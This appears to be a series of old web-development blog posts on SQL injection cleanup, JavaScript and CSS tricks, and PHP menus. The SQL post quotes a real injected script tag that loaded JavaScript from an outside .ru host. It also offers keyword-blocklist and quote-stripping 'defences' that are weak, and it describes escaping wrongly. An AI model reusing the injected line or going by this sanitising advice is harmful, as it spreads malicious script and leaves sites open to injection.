The other day a Russian hacker made a mess of a site I manage. (I didn’t build the site, and I like to think that if I had, the attack would have been thwarted). Anyways the hacker used a method called SQL Injection where they take advantage of one of your submission forms to add extra SQL commands to their input and wreak havoc on your database.

In this particular instance the hacker added a JavaScript call into about every text and varchar field in the  entire database. (12 tables in all). Here is the offending code that was inserted into the fields:

<script src=http://www.jsportal.ru/page.js></script>

I don’t know what the Javascript does when loaded, but I am sure its not good news. FYI – here is an important tip for cleaning up your database: SQL Replace Function on a Text Field

Anyway, there are certainly other articles on how SQL Injections occur and how to prevent them, but here is a couple very useful functions that will greatly reduce your vulernability to SQL Injection if you apply it to any data that site users can submit to your site.

For ASP sites:

This one strips out single quotes, which are crucial to adding SQL commands:

<%

function stripQuotes(strWords)
stripQuotes = replace(strWords, “‘”, “””)
end function

%>

And this one strips out other naughty words that might destroy your database:

<%

function killChars(strWords)

dim badChars
dim newChars

badChars = array(“select”, “drop”, “;”, “–“, “insert”, “delete”, “xp_”)
newChars = strWords

for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), “”)
next

killChars = newChars

end function

%>

These aren’t the exact ones I use, but you get the idea. You can find the article where I got these ASP examples from here:

SQL Injection Attacks – Are You Safe?

For the PHP versions:

In PHP it is even easier. Just using this one function will help prevent many attacks:

mysql_real_escape_string($strWords);

This will strip out these harmful characters from the variable strWords:

• \x00
• \n
• \r
• \
• ‘
• “
• \x1a

You can also use this to make sure inputs you expect to be numbers are actually numbers:

$strNumber= intval($strNumber);

You see it everywhere these days – little link that says “Show more…” and when you click it a new block of content appears. There are a million uses for this show/hide technique – I know because I have used it in a dozen different ways myself. Here is the simplest CSS and JavaScript method I have found:

JavaScript in header:

function showDiv(ID) {
if (document.getElementById(“div” + ID).className == “show”)
document.getElementById(“div” + ID).className = “hide”;
else
document.getElementById(“div” + ID).className = “show”;
return true;
}

Link to open hidden content:

<span class=”norm” onclick=”showDiv(0)”>Read more…</span>

Hidden content container:

<div id=”div0″ style=”display:none;”>Content here</div>

Often I only want a site visitor to make a single menu choice, but need their selection to populate a number of items instead of just the usual single option value. Also, I usually don’t even want them to see what their single selection has spawned such as prices changes in a shopping cart, thus eliminating just asking them for all the values.

So here is how I take advantage of using the option element’s LABEL as well as ID and TITLE to define more values.

First the form’s select pulldown menu options – note the addition of ID and TITLE tags to give us our additional values:

<option id=”Op1″ title=”01″ value=”100″>Option 1 </option>
<option id=”Op2″ title=”02″ value=”200″>Option 2 </option>
<option id=”Op3″ title=”03″ value=”300″>Option 3 </option>

Now the JavaScript that makes it happen:

<script>
function changeValues(ID,VALUE,LABEL,TITLE)
{
document.getElementById(“idvar”).value = ID;
document.getElementById(“valuevar”).value = VALUE;
document.getElementById(“labelvar”).value = LABEL;
document.getElementById(“titlevar”).value = TITLE;
}

</script>

Now to call the function, we need to add an onChange command to the select element, see how it is calling the ID, VALUE, LABEL(text) and TITLE:

<select name=”options” onChange=”changeValues(this.options[this.selectedIndex].id,
this.options[this.selectedIndex].value,this.options[this.selectedIndex].text,
this.options[this.selectedIndex].title);”>

Now here is the full code put all together:

<script language=”JavaScript”>
<!–
function changePrice(ID,VALUE,LABEL,TITLE)
{
document.getElementById(“idvar”).value = ID;
document.getElementById(“valuevar”).value = VALUE;
document.getElementById(“labelvar”).value = LABEL;
document.getElementById(“titlevar”).value = TITLE;
}

–>
</script>

<select name=”options” onChange=”changeValues(this.options[this.selectedIndex].id,
this.options[this.selectedIndex].value,
this.options[this.selectedIndex].text,
this.options[this.selectedIndex].title);”>
<option value=”100″ id=”Op1″ title=”01″>Option 1
<option value=”200″ id=”Op2″ title=”02″>Option 2
<option value=”300″ id=”Op3″ title=”03″>Option 3
</select>

ID: <input name=”idvar” id=”idvar” type=”text”>
VALUE: <input name=”valuevar” id=”valuevar” type=”text”>
LABEL: <input name=”labelvar” id=”labelvar” type=”text”>
TITLE: <input name=”titlevar” id=”titlevar” type=”text”>

(Please note that the fields you pass the values to can easily be changed to hidden type instead of text so the visitor doesn’t even see them.)

Click here to see a demo

Sometimes little tips can save a lot of time when it comes to programming.

This one is very handy, for when you find yourself having to grab some code you had written in regular html and change it to be called by a php echo statement.

When I had to do this in the past, I found the biggest time drain was escaping all the quotes (Otherwise the first quote in the html would stop the echo call prematurely.)

Well here is an incredibly easy way to avoid having to do that …. simply use single quotes to define your echo call and then your double quotes won’t break the php code.

For instance you have a simple linked image like this:

<a href=”http://www.link.com” target=”_top”><img src=”/image.gif”></a>

Normally you would have to escape all those quotes like this:

echo “<a href=\”http://www.link.com\” target=\”_top\”><img src=\”/image.gif\”</a>”;

Instead just use the single quotes like this:

echo ‘<a href=”http://www.link.com” target=”_top”><img src=”/image.gif”></a>’;

Just thought I would mention how handy Firefox’s built in Error Console feature is for debugging – I mostly use this for Javascript, in fact I can;t even remember using it for anything else.

But in any case if you run into the same problems I do with Javascript this is a handy tool for catching the issue at ahnd.

To bring up your Error Console just choose Tools > Error Console from the Firefox top menu.

Then go to the page where you suspect your problem and the console will give you clues.

I have also installed Firebug add-on which looks to have a load of potential for more detailed debugging, but I haven’t really spent enough time on it yet to tell you my thoughts. I will eventually.

Ever had people gripe because the second line of a list item doesn’t align under the bullet correctly? (This is only a problem in IE by the way – Firefox does the work for you.)

So here is an example of the problem (remember if your not viewing in IE you won;t see anything wrong.) :

Here is how I fixed it, first the code:

<li>Over 50 years of staffing </li>
<li class=”bullet-hidden”><span class=”bullet-visible”>industry knowledge</span></li>

Then the CSS styles:

.bullet-visible {
visibility:visible;
}

.bullet-hidden {
visibility:hidden;
}

If for some reason you can define the style sheets or don;t want ot you can do it directly in the code as follows:

<li>Over 50 years of staffing </li>
<li style=”visibility: hidden;”><span style=” visibility:visible;”>industry knowledge</span></li>

And abracadabra:

It’s common these days to take advantage of CSS Style Sheets to replace your headers like <H1> and <H2> with images. While this makes sites more attractive it also hurts some of your search engine value by losing the keywords that could be used in those important headers.

Well here is how to use images and still get your keywords picked up by the search engines.

<style type=”text/css”>
h1 {
padding-top: 35px; /* height of the replacement image */
height: 0px;
overflow: hidden;
background-image:url(“image.gif”);
background-repeat: no-repeat;
}
</style>

<h1>Keywords here</h1>

In this example your pretty image will be used but your keywords will still get picked up by the search engines. The nice thing about this approach is that you can actually get some keywords in there that you might not been able if you weren’t using images.

I learned a handy trick today. I wanted to provide an external javascript so other websites could display some info from my site, but then realized it would be way better if I could somehow have them call a php file instead. Well you can.

So the page call will look just like the typical javascript call, except we are calling a php file:

<script language=”JavaScript” type=”text/javascript” src=”http://www.yoursite.info/yourfile.php”></script>

Now since you are calling the php file this way you need to make the php file appear to be a javascript document so to do that you need to add a Header property like this:

Header(“content-type: application/x-javascript”);

Then you need to make sure your output is in javascript format, since that is what you are outputting. So lets look at an example php file might look like – you can use this to try it out:

<?
Header(“content-type: application/x-javascript”);
$testvar=”what’s up doc?”;
echo “document.write(\”Bugs Bunny says: <b>” . $testvar . “</b>\”)”;
?>

Then just call that file. Notice I am using php’s echo to write out the javascript code document.write – if were to just echo it it would not show up on the page calling the javascript.

Ok, now lets get even fancier. We can pass some parameters to our file in the page call:

<script language=”JavaScript” src=”http://www.yoursite.com/yourfile.php?var=elmerfudd&ID=4″></script>

Then you can pick up those parameters in your php file using $HTTP_GET_VARS[] and do whatever you want with them.

In an earlier post I described how to use conditional comment codes to call a different stylesheet for each browser like so:

<link href=”style.css” rel=”stylesheet” type=”text/css” />
<![if !IE]>
<link href=”not-ie.css” rel=”stylesheet” type=”text/css” />
<![endif]>

At the end of the post I mentioned that you can use these comments to hide other content from each browser. I received some questions on this so I thought I better explain further.

To hide content from IE or a certain version of Internet Explorer is simple just use the appropriate comment codes anywhere on the page with the content between them like so:

The above examples will hide the content from IE or the IE version you specified in teh codes – HOWEVER it will only work that way in IE, because conditional comment codes are not read by Firefox.

So to hide content from Firefox you need to use your Firefox only stylesheet you declared in the header of your file. Whatever it is you want to hide in Firefox just wrap in a <div> with a class or id that in your Firefox stylesheet you add the css property of display: none.

So here is an example:

<div id=”hidemefromfirefox”>
CONTENT TO HIDE FROM FIREFOX
</div>

Then in your Firefox only stylesheet you declare:

#hidemefromfirefox {
display:none;
}

I have always preferred including a menu file on my sites rather than repeating them on all the pages for the obvious reason that menu items sometimes change and it easier to change one file than change the links on all the pages that show that menu.

So anyway, recently I have also wanted to use CSS to highlight the active or current page the user is on using CSS, this is easy to do when the menu is on each page, but requires a little PHP when using a single menu included across your site.

So anyway here is my solution:

Here is the code for the navigation menu – I save this as a file called menu.php

<?php
$active[$current] = “class=active”;
?>

<ul>
<li <?php echo $active[1] ?>><a href=”index.php”>Home</a></li>
<li <?php echo $active[2] ?>><a href=”services.php”>services</a></li>
<li <?php echo $active[3] ?>><a href=”print.php”>print</a></li>
<li <?php echo $active[4] ?>><a href=”web.php”>web</a></li>
<li <?php echo $active[5] ?>><a href=”marketing.php”>marketing</a></li>
<li <?php echo $active[6] ?>><a href=”portfolio.php”>Portfolio</a></li>
<li <?php echo $active[7] ?>><a href=”contact.php”>Contact</a></li>
</ul>

Then, just include the menu on your pages and indicate which of the menu links you want to give the CSS style “active”:

<?php $current = 3; include(“menu.php”); ?>

Lastly, don’t forget to declare a visual style for the css class “active” to make the current page link stand out from the others.

VARIATION – You can also change the menu code slightly to make the active page not linkable at all – this will further make the current page stand out from the other menu options. Here is an example of the code you would use for the links:

<li <?php echo $active[1] ?>><?php if ($current != 1) { echo “<a href=\”index.php\”>home</a>”; } else { echo “home”; } ?></li>
<li <?php echo $active[2] ?>><?php if ($current != 2) { echo “<a href=\”web.php\”>web</a>”; } else { echo “web”; } ?></li>